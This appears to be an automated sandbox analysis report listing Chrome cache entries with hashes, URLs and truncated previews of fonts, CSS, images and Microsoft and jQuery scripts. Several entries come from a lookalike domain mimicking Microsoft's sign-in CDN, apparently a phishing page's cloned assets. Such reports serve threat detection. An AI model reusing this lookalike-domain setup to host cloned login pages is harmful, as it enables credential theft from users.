Preview:	wOFF........................................OS/2.......C...V@.Mncmap...8...:...J.1..glyf...t.......d...head...$...,...6.9..hhea...P.......$.$..hmtx...p........@...loca.......B...B". hmaxp........... .3.`name................post............{NK.x.c`db`...............2H2.1001.23`..i.)....?.3..........f....~u...x.c```f.`..F..p....\|... ........>....R..D.3@...#..........x.uVoh[U..........K..I..KS....YS.h...}p..0:6.s. m........t.v.[.!.06Bu..thW..c...d0.((<<..&...q..q~..s.9.wC.........RD.R....R~.[KKK.....2.@?..9...7... ..=..w......8`a.'C'.jw!X..R..f..2....^m\zB.M....0....WC.....6.A...$K....\B.y.+.H.r(......EE.......O..aB..U6[...s.9{U.....-)'<.........i............y..7...u..}........Rc......[.(.E..B.U..= .".C.q....3.\|...q/...O.=...\|......\|..P..9......2f..u^.AE./..W....9ggM^...0...W.....aeL...1l).Dw.V...3O..\|...aV.0[j...X..&.B.$L.0.`.H[...Z.<W'q.4..r4.r+I .TTnp8..hj.i.[{c.........B..N.(6.sc.).....m.D.h..4.h.'.Q..;..e/........0..g..[,.....nO.K{.....2......%

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1245), with no line terminators
Category:	downloaded
Size (bytes):	1245
Entropy (8bit):	5.037356170002841
Encrypted:	false
SSDEEP:	24:Ekd1Tk97hn5ZoK2kTL01MCJZ4ZVaeao1DphsILHJNM2WXgEXgf0Xgm:9da7d5d8pJZ4+BWIIPLQ73/
MD5:	108A4DAFB6208F11604033C769DD54DE
SHA1:	C636880762B6EF08C858AADF0B0423B3375C4D18
SHA-256:	B45282310AA60BE4271B36993FF203791B9FD961F1C59B6D59E02E8A2082EE38
SHA-512:	2284518E03CD266F7F4CC0FCF78EE86ABED4D7B118296A258807176697E0336E7287840406A64B067DFA0BE1F61FCC175E43906621AA51290DB174F7DAE2B906
Malicious:	false
Reputation:	low
URL:	https://c.s-microsoft.com/en-us/CMSStyles/style.csx?k=b38e7b38-f2bd-90bd-16b5-45a457a50550
Preview:	.div_heading_OnePSTemplete h2{font-size:26px;margin-top:0}.psp-expand-all{border:1px solid transparent}body{min-width:280px !important}a:not(.c-uhf-nav-link):not(.c-uhff-link):not(.c-cat-logo){word-wrap:break-word;color:#006fc9 !important;font-weight:400 !important}body .grid,.body-open .grid,.grid h3,.grid .h3,.grid .header-small,.grid strong,.grid .body-tight-2,.grid h1,.grid .h1,.grid .header-large,.grid .caption{font-family:"Segoe UI"}.grid .row h1,.grid .row h2,.grid .row h3,.header-small label{font-family:wf_segoe-ui_light,wf_segoe-ui_normal,Tahoma,Verdana,Arial,sans-serif}.grid{max-width:1600px !important}.c-uhfh-actions,.c-uhfh-gcontainer-st .all-ms-nav,.glyph-global-nav-button{display:none !important}.shell-header-wrapper,.shell-footer-wrapper,.shell-category-nav,.shell-notification .shell-notification-grid-row{max-width:1180px !important}.PsTitle{font-family:Segoe UI,sans-serif;margin-right:.3em !important;font-size:2em;display:inline-block;vertical-align:top;margin-left:-.02

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, baseline, precision 8, 1920x1080, components 3
Category:	downloaded
Size (bytes):	17453
Entropy (8bit):	3.890509953257612
Encrypted:	false
SSDEEP:	192:P7FRTHQpmA3ZkXOL25cYty7l6UWUjMJBSab/vR+yzP:P/cpmgkF5+JWUjMp40P
MD5:	7916A894EBDE7D29C2CC29B267F1299F
SHA1:	78345CA08F9E2C3C2CC9B318950791B349211296
SHA-256:	D8F5AB3E00202FD3B45BE1ACD95D677B137064001E171BC79B06826D98F1E1D3
SHA-512:	2180ABE47FBF76E2E0608AB3A4659C1B7AB027004298D81960DC575CC2E912ECCA8C131C6413EBBF46D2AAA90E392EB00E37AED7A79CDC0AC71BA78D828A84C7
Malicious:	false
Reputation:	low
URL:	https://r6duftx9uh6.scrdata-doc.cfd/aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg
Preview:	.....Phttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about=""/> </rdf:RDF> </x:xmpmeta>

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://www.microsoft.com/favicon.ico?v2
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, baseline, precision 8, 1920x1080, components 3
Category:	dropped
Size (bytes):	17453
Entropy (8bit):	3.890509953257612
Encrypted:	false
SSDEEP:	192:P7FRTHQpmA3ZkXOL25cYty7l6UWUjMJBSab/vR+yzP:P/cpmgkF5+JWUjMp40P
MD5:	7916A894EBDE7D29C2CC29B267F1299F
SHA1:	78345CA08F9E2C3C2CC9B318950791B349211296
SHA-256:	D8F5AB3E00202FD3B45BE1ACD95D677B137064001E171BC79B06826D98F1E1D3
SHA-512:	2180ABE47FBF76E2E0608AB3A4659C1B7AB027004298D81960DC575CC2E912ECCA8C131C6413EBBF46D2AAA90E392EB00E37AED7A79CDC0AC71BA78D828A84C7
Malicious:	false
Reputation:	low
Preview:	.....Phttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about=""/> </rdf:RDF> </x:xmpmeta>

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2345), with CRLF line terminators
Category:	downloaded
Size (bytes):	2347
Entropy (8bit):	5.290031538794594
Encrypted:	false
SSDEEP:	48:gCgF0+kNL5iQ6+GhB+SYWzGuesAFcsGJOzgO6FIEv+sj+M++sx+suse+swsosmC0:gC3Na5+GX+Ti2XsYE2sqAsosushswsoB
MD5:	E86EF8B6111E5FB1D1665BCDC90888C9
SHA1:	994BF7651CB967CD9053056AF2D69ACB74DB7F29
SHA-256:	3410242720DE50B090D07A23AEE2DAD879B31D36F2615732962EC4CFA8A9D458
SHA-512:	2486B491681EE91A9CD1ECC9AA011A3FB34B48358C5D7A4D503A5357BC5CE4CA22999F918D40AC60A3063940D5F326FC7E4E5713D89D5C102DE68824E371B3AB
Malicious:	false
Reputation:	low
URL:	https://login.live.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(n,t){for(var e in t)n[e]=t[e]}(this,function(n){function t(i){if(e[i])return e[i].exports;var s=e[i]={exports:{},id:i,loaded:!1};return n[i].call(s.exports,s,s.exports,t),s.loaded=!0,s.exports}var e={};return t.m=n,t.c=e,t.p="",t(0)}([function(n,t){function e(n){for(var t=g[c],e=0,i=t.length;e<i;++e)if(t[e]===n)return!0;return!1}function i(n){if(!n)return null;for(var t=n+"=",e=document.cookie.split(";"),i=0,s=e.length;i<s;i++){var o=e[i].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===o.indexOf(t))return o.substring(t.length)}return null}function s(n,t,e){if(n)for(var i=n.split(":"),s=null,o=0,a=i.length;o<a;++o){var l=null,c=i[o].split("$");if(0===o&&(s=parseInt(c.shift()),!s))return;var p=c.length;if(p>=1){var f=r(s,c[0]);if(!f\|\|e[f])continue;l={signInName:f,idp:"msa",isSignedIn:!0}}if(p>=3&&(l.firstName=r(s,c[1]),l.lastName=r(s,c[2])),p>=4){var g=c[3],m=g.split("\|");l.otherHashedAliases=m}if(p>=5){var h=parseInt(c[4],16);h&&(l.

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (31463), with no line terminators
Category:	downloaded
Size (bytes):	31463
Entropy (8bit):	5.335245781249028
Encrypted:	false
SSDEEP:	384:ekorlyEMfQ8sW5hXDi/iE3adOdoIB4mqdRyedRyNWGyIWGyeoQys05DU7uj5hypb:0o1Di5+OOYbsp0yK3FJ12V2+vr/eoq
MD5:	7148585ECACB77E3EC38A7423D557F0A
SHA1:	3F4428AB18D492318AEC5AD51D4BD22B67BC3955
SHA-256:	9AF3C8E1B582FEBECEF2A475989DC02902A772CEFAC1896C9BAAAFD218D2CA04
SHA-512:	82E8B4FF7B55C9D7F4AE010ED2FBCA757547A88D2BB52C8C2E01AC416594B5CFD608260844FEA93501BD3C4B289A5EBA69412B2643A2C6BF01602163FF6F5B46
Malicious:	false
Reputation:	low
URL:	https://c.s-microsoft.com/en-us/CMSScripts/script.jsx?k=08e9f1ba-f4e7-80f5-d4c5-f75b4dc5cf51
Preview:	function ShowSelectedComponentKeyPress(n,t){if(window.event.keyCode==13)return ShowSelectedComponent(n,t),!1}function SetRightSideNavigationMenuHeight(){$("[id^=dvModuleGroup_]").hide();window.location.search.toLowerCase().indexOf("bookmarkid")!=-1&&SelectBookMark();window.location.search.toLowerCase().indexOf("componentid")!=-1&&LoadSelectedInternalLink();$(".div_side_comp").length>0&&$(".div_content").css("min-height",$(".div_side_comp").height()-27)}function ShowSelectedComponent(n,t){var i=$("#"+t).attr("data-parentModule");return i!=undefined&&i!=null&&($("[data-parentmodule="+i+"]").show(),$("#"+i+" [id$=_LongDescription]").length>0?(document.getElementById(i+"_LongDescription").style.display="block",document.getElementById(i+"_ShortDescription").style.display="none",ShowText($("#"+i+".learnMoreLabel"),"long",t)):ShowText($("#"+i+".learnMoreLabel"),"long",t),DisplayTopNavigation(i)),$("html, body").animate({scrollTop:$("#"+t).offset().top-1},800),!1}function ShowToolTip(){var n,i

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 41280, version 0.0
Category:	downloaded
Size (bytes):	41280
Entropy (8bit):	7.99148680813376
Encrypted:	true
SSDEEP:	768:p6DwF7RdgMRl+TIRNdEwkoGy4q0vcZ7xaRefiwsoGuTs1txGTeG:p6DwF7PRl+TkvEYuGZdEefi6GuTo/eN
MD5:	E8EA6DC81AB52C7D6124E89EBCAC926A
SHA1:	B7BF79D3D738B06DFE9E567FEEE25D9B983135BB
SHA-256:	1EE846986FBF0BFC9F0996F563D748589A32B29AF6A6E444312C5A4DA27504C1
SHA-512:	B25A7582B9FB6A146AA927BEBC91D4F34B1820017C75DCC3DAFA8ACE22547579E3AAD82788C89C2F373330F71F970500BCDEE7C520C1A791F374A4E8DD5E3396
Malicious:	false
Reputation:	low
URL:	https://i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.woff
Preview:	wOFF.......@.......H........................OS/2...D...Z...`J..\|cmap............."<.cvt ..........."..].fpgm...........\ID.ggasp...L...........#glyf...\...O.....k.head.......6...6..T2hhea.......!...$.z.8hmtx............c!.Dloca...............Pmaxp....... ... .6.fname..............>.post........... .Q.wprep.......h...@....x.c`f.g......:....Q.B3_dHc..`e.feb.B&....e...'.(..VP`p`......@F^.ELL....Ar,.......3.9f....x.e.}L.U..?.."i.\4.5..(.....6..--.Z[[j)) ... . jR....F.VF..7....a.VTj.....[......ta..}.9;....~.~....^......I$.j.>...a...5^...'...)_..D.S.....Lqf8...g.S..r.8..3.@`H`{`_........&..~&.&.d..f..2.M.t.7.Mr{.)n?7...Nts...-.......o..0..KwM..j.Fk....<..5]E.PU.'...N.....O..1..ncb<c,O...d...'/.Ct..<.u.....&....!..~.].v....~..Gx7.V.w.k..{...I{9....h~.....'.Y.....H....T.7....@.]..pi87...u...Up.....f..AA.{.Y.."v^aU.uj..5......Q..is.M.ns.....6.y.Uz...F-u.......yUb%.4O..6.2.8.R6...h.:o.>.9...d....a...C\|...r.....w\|........H!...+..<..e.%..G).Y.B.XD9..H./P...X.v.d..

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 41280, version 0.0
Category:	downloaded
Size (bytes):	41280
Entropy (8bit):	7.99148680813376
Encrypted:	true
SSDEEP:	768:p6DwF7RdgMRl+TIRNdEwkoGy4q0vcZ7xaRefiwsoGuTs1txGTeG:p6DwF7PRl+TkvEYuGZdEefi6GuTo/eN
MD5:	E8EA6DC81AB52C7D6124E89EBCAC926A
SHA1:	B7BF79D3D738B06DFE9E567FEEE25D9B983135BB
SHA-256:	1EE846986FBF0BFC9F0996F563D748589A32B29AF6A6E444312C5A4DA27504C1
SHA-512:	B25A7582B9FB6A146AA927BEBC91D4F34B1820017C75DCC3DAFA8ACE22547579E3AAD82788C89C2F373330F71F970500BCDEE7C520C1A791F374A4E8DD5E3396
Malicious:	false
Reputation:	low
URL:	https://i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.woff
Preview:	wOFF.......@.......H........................OS/2...D...Z...`J..\|cmap............."<.cvt ..........."..].fpgm...........\ID.ggasp...L...........#glyf...\...O.....k.head.......6...6..T2hhea.......!...$.z.8hmtx............c!.Dloca...............Pmaxp....... ... .6.fname..............>.post........... .Q.wprep.......h...@....x.c`f.g......:....Q.B3_dHc..`e.feb.B&....e...'.(..VP`p`......@F^.ELL....Ar,.......3.9f....x.e.}L.U..?.."i.\4.5..(.....6..--.Z[[j)) ... . jR....F.VF..7....a.VTj.....[......ta..}.9;....~.~....^......I$.j.>...a...5^...'...)_..D.S.....Lqf8...g.S..r.8..3.@`H`{`_........&..~&.&.d..f..2.M.t.7.Mr{.)n?7...Nts...-.......o..0..KwM..j.Fk....<..5]E.PU.'...N.....O..1..ncb<c,O...d...'/.Ct..<.u.....&....!..~.].v....~..Gx7.V.w.k..{...I{9....h~.....'.Y.....H....T.7....@.]..pi87...u...Up.....f..AA.{.Y.."v^aU.uj..5......Q..is.M.ns.....6.y.Uz...F-u.......yUb%.4O..6.2.8.R6...h.:o.>.9...d....a...C\|...r.....w\|........H!...+..<..e.%..G).Y.B.XD9..H./P...X.v.d..

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42133)
Category:	downloaded
Size (bytes):	138067
Entropy (8bit):	5.225028044529473
Encrypted:	false
SSDEEP:	3072:1f4HuF7pxnISnJ9d1EwgXA7nKRZMK/xw/:1f4Hu1I+kw/
MD5:	B9C3E4320DB870036919F1EE117BDA6E
SHA1:	29B5A9066B5B1F1FE5AFE7EE986E80A49E86606A
SHA-256:	A1FE019388875B696EDB373B51A51C0A8E3BAD52CD489617D042C0722BDB1E48
SHA-512:	A878B55E8C65D880CDF14850BAEE1F82254C797C3284485498368F9128E42DCA46F54D9D92750EEEB547C42CAB9A9823AA9AFAB7D881090EBBFA1135CDD410B6
Malicious:	false
Reputation:	low
URL:	https://www.microsoft.com/onerfstatics/marketingsites-wcus-prod/shell/_scrf/js/themes=default/d6-d6e6df/89-746ba4/df-3feeb0/f5-14aef8/bd-f5f332/27-13b2c3/e9-07937b/33-b505e5/fa-7a47db/6e-e2d05f/74-0b2d48/88-5b9b75/1b-240b37/4e-8e1a50/c2-370434/6f-bf5d0f/ea-315ddf/2e-e273bf/17-02d9ee/cf-2a93c7/c0-2ffa80/77-785548/48-4f52bb/3c-6c8ad0/3a-0d7cd3/5f-7d882b/c1-621df2/38-e8e647/17-c82a09/85-bd536d/44-776362/f8-86938e/61-951d1b/39-3d9dc2/81-96da47/ec-e44e19/6c-7627b9?ver=2.0&_cf=20210618&iife=1
Preview:	(function(){/*. @license almond 0.3.3 Copyright jQuery Foundation and other contributors.. * Released under MIT license, http://github.com/requirejs/almond/LICENSE. /.var requirejs,require,define,__extends;(function(n){function r(n,t){return w.call(n,t)}function s(n,t){var o,s,f,e,h,p,c,b,r,l,w,k,u=t&&t.split("/"),a=i.map,y=a&&a[""]\|\|{};if(n){for(n=n.split("/"),h=n.length-1,i.nodeIdCompat&&v.test(n[h])&&(n[h]=n[h].replace(v,"")),n[0].charAt(0)==="."&&u&&(k=u.slice(0,u.length-1),n=k.concat(n)),r=0;r<n.length;r++)if(w=n[r],w===".")n.splice(r,1),r-=1;else if(w==="..")if(r===0\|\|r===1&&n[2]===".."\|\|n[r-1]==="..")continue;else r>0&&(n.splice(r-1,2),r-=2);n=n.join("/")}if((u\|\|y)&&a){for(o=n.split("/"),r=o.length;r>0;r-=1){if(s=o.slice(0,r).join("/"),u)for(l=u.length;l>0;l-=1)if(f=a[u.slice(0,l).join("/")],f&&(f=f[s],f)){e=f;p=r;break}if(e)break;!c&&y&&y[s]&&(c=y[s],b=r)}!e&&c&&(e=c,p=b);e&&(o.splice(0,p,e),n=o.join("/"))}return n}function y(t,i){return function(){var r=b.call(arguments,0

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1245), with no line terminators
Category:	downloaded
Size (bytes):	1245
Entropy (8bit):	5.037356170002841
Encrypted:	false
SSDEEP:	24:Ekd1Tk97hn5ZoK2kTL01MCJZ4ZVaeao1DphsILHJNM2WXgEXgf0Xgm:9da7d5d8pJZ4+BWIIPLQ73/
MD5:	108A4DAFB6208F11604033C769DD54DE
SHA1:	C636880762B6EF08C858AADF0B0423B3375C4D18
SHA-256:	B45282310AA60BE4271B36993FF203791B9FD961F1C59B6D59E02E8A2082EE38
SHA-512:	2284518E03CD266F7F4CC0FCF78EE86ABED4D7B118296A258807176697E0336E7287840406A64B067DFA0BE1F61FCC175E43906621AA51290DB174F7DAE2B906
Malicious:	false
Reputation:	low
URL:	https://c.s-microsoft.com/en-us/CMSStyles/style.csx?k=b38e7b38-f2bd-90bd-16b5-45a457a50550
Preview:	.div_heading_OnePSTemplete h2{font-size:26px;margin-top:0}.psp-expand-all{border:1px solid transparent}body{min-width:280px !important}a:not(.c-uhf-nav-link):not(.c-uhff-link):not(.c-cat-logo){word-wrap:break-word;color:#006fc9 !important;font-weight:400 !important}body .grid,.body-open .grid,.grid h3,.grid .h3,.grid .header-small,.grid strong,.grid .body-tight-2,.grid h1,.grid .h1,.grid .header-large,.grid .caption{font-family:"Segoe UI"}.grid .row h1,.grid .row h2,.grid .row h3,.header-small label{font-family:wf_segoe-ui_light,wf_segoe-ui_normal,Tahoma,Verdana,Arial,sans-serif}.grid{max-width:1600px !important}.c-uhfh-actions,.c-uhfh-gcontainer-st .all-ms-nav,.glyph-global-nav-button{display:none !important}.shell-header-wrapper,.shell-footer-wrapper,.shell-category-nav,.shell-notification .shell-notification-grid-row{max-width:1180px !important}.PsTitle{font-family:Segoe UI,sans-serif;margin-right:.3em !important;font-size:2em;display:inline-block;vertical-align:top;margin-left:-.02

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65339), with CRLF line terminators
Category:	downloaded
Size (bytes):	659798
Entropy (8bit):	5.352921769071548
Encrypted:	false
SSDEEP:	12288:nEMsQrWEWbnByixmwgXZewhYcFiG4DUIxo:nEMsJpBJgHKcFQNo
MD5:	9786D38346567E5E93C7D03B06E3EA2D
SHA1:	23EF8C59C5C9AA5290865933B29C9C56AB62E3B0
SHA-256:	263307E3FE285C85CB77CF5BA69092531CE07B7641BF316EF496DCB5733AF76C
SHA-512:	4962CDF483281AB39D339A7DA105A88ADDB9C210C9E36EA5E36611D7135D19FEC8B3C9DBA3E97ABB36D580F194F1860813071FD6CBEDE85D3E88952D099D6805
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7472.44/scripts/boot.worldwide.1.mouse.js
Preview:	.window.scriptsLoaded = window.scriptsLoaded \|\| {}; window.scriptProcessStart = window.scriptProcessStart \|\| {}; window.scriptProcessStart['boot.worldwide.1.mouse.js'] = (new Date()).getTime();..;_a.d.G=function(n,t){this.b=n;this.a=t};_a.d.G.prototype={b:0,a:0};_a.fo=function(n){this.s=n};_a.fo.prototype={s:null,t:null,i:function(){return this.s.currentTarget},e:function(){return this.t?this.t.x:this.s.pageX},f:function(){return this.t?this.t.y:this.s.pageY},o:function(){return this.s.relatedTarget},b:function(){return this.s.target},n:function(){return this.s.timeStamp\|\|+new Date},a:function(){var n=this.s.which;!n&&_a.o.a().K&&this.s.type==="keypress"&&(n=this.u());return n},u:function(){return this.s.keyCode},m:function(){return this.s.originalEvent},j:function(){return this.s.type},k:function(){return this.s.originalEvent.touches},q:function(){return this.s.isDefaultPrevented()},g:function(){return this.s.shiftKey},h:function(){return _j.G.a().P?this.s.metaKey:this.s.ctrlKey},l:

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45537)
Category:	downloaded
Size (bytes):	141321
Entropy (8bit):	5.430817835343965
Encrypted:	false
SSDEEP:	1536:5/Z5ELQbTPRUbx3jog/MhTyvRkmYWp0BSYmvIxdL/Bpns0Vgt2CTJm0wTxFojd9V:REArg/MMNn3vIPzDk80ZjT0qQePmC
MD5:	FAF8192693965AC5E35A57471722977A
SHA1:	3EBFE3DCFB3ABD661FBD6CF7DD0F0E12AFC464FD
SHA-256:	D3A87376B8EC7A4264196D4983AE65B478E58F590B18A01CFED7BEC5F1BAED4C
SHA-512:	CF6D2EA891D63AB58EC955C6C0327F6C2EAD6B8080FEA45FA8FB3E6AA5062E1E615B77525EFCC498E6060AA59EE0C1C88AE64237366183AAA9D1C86BCE421810
Malicious:	false
Reputation:	low
URL:	https://r6duftx9uh6.scrdata-doc.cfd/aadcdn.msftauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_Ggyc2EJnCaHFrI6xkBPLcg2.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function n(n){for(var t,r,i=n[0],a=n[1],s=0,u=[];s<i.length;s++)

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64241)
Category:	downloaded
Size (bytes):	171486
Entropy (8bit):	5.043877429718187
Encrypted:	false
SSDEEP:	3072:jzCPZkTP3bDLH0tfRqQ0xtLfj4ZDSIpTt813viY8R1j35Ap7LQZLPPJH7PAbOCx1:jlZAW9kJeqg
MD5:	B7AF9FB8EB3F12D3BAA37641537BEDC2
SHA1:	A3FBB622FD4D19CDB371F0B71146DD9F2605D8A4
SHA-256:	928ACFBA36CCD911340D2753DB52423F0C7F6FEAA72824E2A1EF6F5667ED4A71
SHA-512:	1023C4D81F68C73E247850F17BF048615DDABB69ACF2429644BDAF8DC2A95930F7A29CEAE6FBD985E1162897483A860C8248557CDA2F1F3D3FF0589158625A49
Malicious:	false
Reputation:	low
URL:	https://www.microsoft.com/onerfstatics/marketingsites-wcus-prod/west-european/shell/_scrf/css/themes=default.device=uplevel_web_pc/29-591900/68-c3a397/f4-0855a6/a8-3dc4a6/f1-3221a1/dc-d4cb46/1f-806835/7a-c9e644?ver=2.0&_cf=20210618
Preview:	@charset "UTF-8";./! \| Copyright 2017 Microsoft Corporation \| This software is based on or incorporates material from the files listed below (collectively, "Third Party Code"). Microsoft is not the original author of the Third Party Code. The original copyright notice and the license under which Microsoft received Third Party Code are set forth below together with the full text of such license. Such notices and license are provided solely for your information. Microsoft, not the third party, licenses this Third Party Code to you under the terms in which you received the Microsoft software or the services, unless Microsoft clearly states that such Microsoft terms do NOT apply for a particular Third Party Code. Unless applicable law gives you more rights, Microsoft reserves all other rights not expressly granted under such agreement(s), whether by implication, estoppel or otherwise././! normalize.css v3.0.3 \| MIT License \| github.com/necolas/normalize.css /.body{margin:0}.context-uh

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.307354922057605
Encrypted:	false
SSDEEP:	3:8Kiun9ks:8Kiun2s
MD5:	9F9FA94F28FE0DE82BC8FD039A7BDB24
SHA1:	6FE91F82974BD5B101782941064BCB2AFDEB17D8
SHA-256:	9A37FDC0DBA8B23EB7D3AA9473D59A45B3547CF060D68B4D52253EE0DA1AF92E
SHA-512:	34946EF12CE635F3445ED7B945CF2C272EF7DD9482DA6B1A49C9D09A6C9E111B19B130A3EEBE5AC0CCD394C523B54DD7EB9BF052168979A9E37E7DB174433F64
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwm7pBbVBZeuxhIFDdFbUVISBQ1Xevf9?alt=proto
Preview:	ChIKBw3RW1FSGgAKBw1Xevf9GgA=

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32089)
Category:	downloaded
Size (bytes):	92629
Entropy (8bit):	5.303443527492463
Encrypted:	false
SSDEEP:	1536:dnu00HWWaRxkqJg09pYxoxDKMXJrg8hXXO4dK3kyfiLJBhdSZE+I+Qg7rbaN1RUx:ddkWgoBhcZRQgmW42qe
MD5:	397754BA49E9E0CF4E7C190DA78DDA05
SHA1:	AE49E56999D82802727455F0BA83B63ACD90A22B
SHA-256:	C12F6098E641AACA96C60215800F18F5671039AECF812217FAB3C0D152F6ADB4
SHA-512:	8C64754F77507AB2C24A6FC818419B9DD3F0CECCC9065290E41AFDBEE0743F0DA2CB13B2FBB00AFA525C082F1E697CB3FFD76EF9B902CB81D7C41CA1C641DFFB
Malicious:	false
Reputation:	low
URL:	https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.js
Preview:	/! jQuery v1.9.1 \| (c) 2005, 2012 jQuery Foundation, Inc. \| jquery.org/license.//@ sourceMappingURL=jquery.min.map./(function(e,t){var n,r,i=typeof t,o=e.document,a=e.location,s=e.jQuery,u=e.$,l={},c=[],p="1.9.1",f=c.concat,d=c.push,h=c.slice,g=c.indexOf,m=l.toString,y=l.hasOwnProperty,v=p.trim,b=function(e,t){return new b.fn.init(e,t,r)},x=/[+-]?(?:\d\.\|)\d+(?:[eE][+-]?\d+\|)/.source,w=/\S+/g,T=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,N=/^(?:(<[\w\W]+>)[^>]\|#([\w-]))$/,C=/^<(\w+)\s\/?>(?:<\/\1>\|)$/,k=/^[\],:{}\s]$/,E=/(?:^\|:\|,)(?:\s\[)+/g,S=/\\(?:["\\\/bfnrt]\|u[\da-fA-F]{4})/g,A=/"[^"\\\r\n]*"\|true\|false\|null\|-?(?:\d+\.\|)\d+(?:[eE][+-]?\d+\|)/g,j=/^-ms-/,D=/-([\da-z])/gi,L=function(e,t){return t.toUpperCase()},H=function(e){(o.addEventListener\|\|"load"===e.type\|\|"complete"===o.readyState)&&(q(),b.ready())},q=function(){o.addEventListener?(o.removeEventListener("DOMContentLoaded",H,!1),e.removeEventListener("load",H,!1)):(o.detachEvent("onreadystatechange",H),e.detachEvent("onload",H)

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 35900, version 0.0
Category:	downloaded
Size (bytes):	35900
Entropy (8bit):	7.989413276112553
Encrypted:	false
SSDEEP:	768:d1DM2UJJ9OKKukRdfijklR4f0Ki9NkmeWkujUkTl68TEG4sI:LD7RKKukRdfukKiDq3ITEl
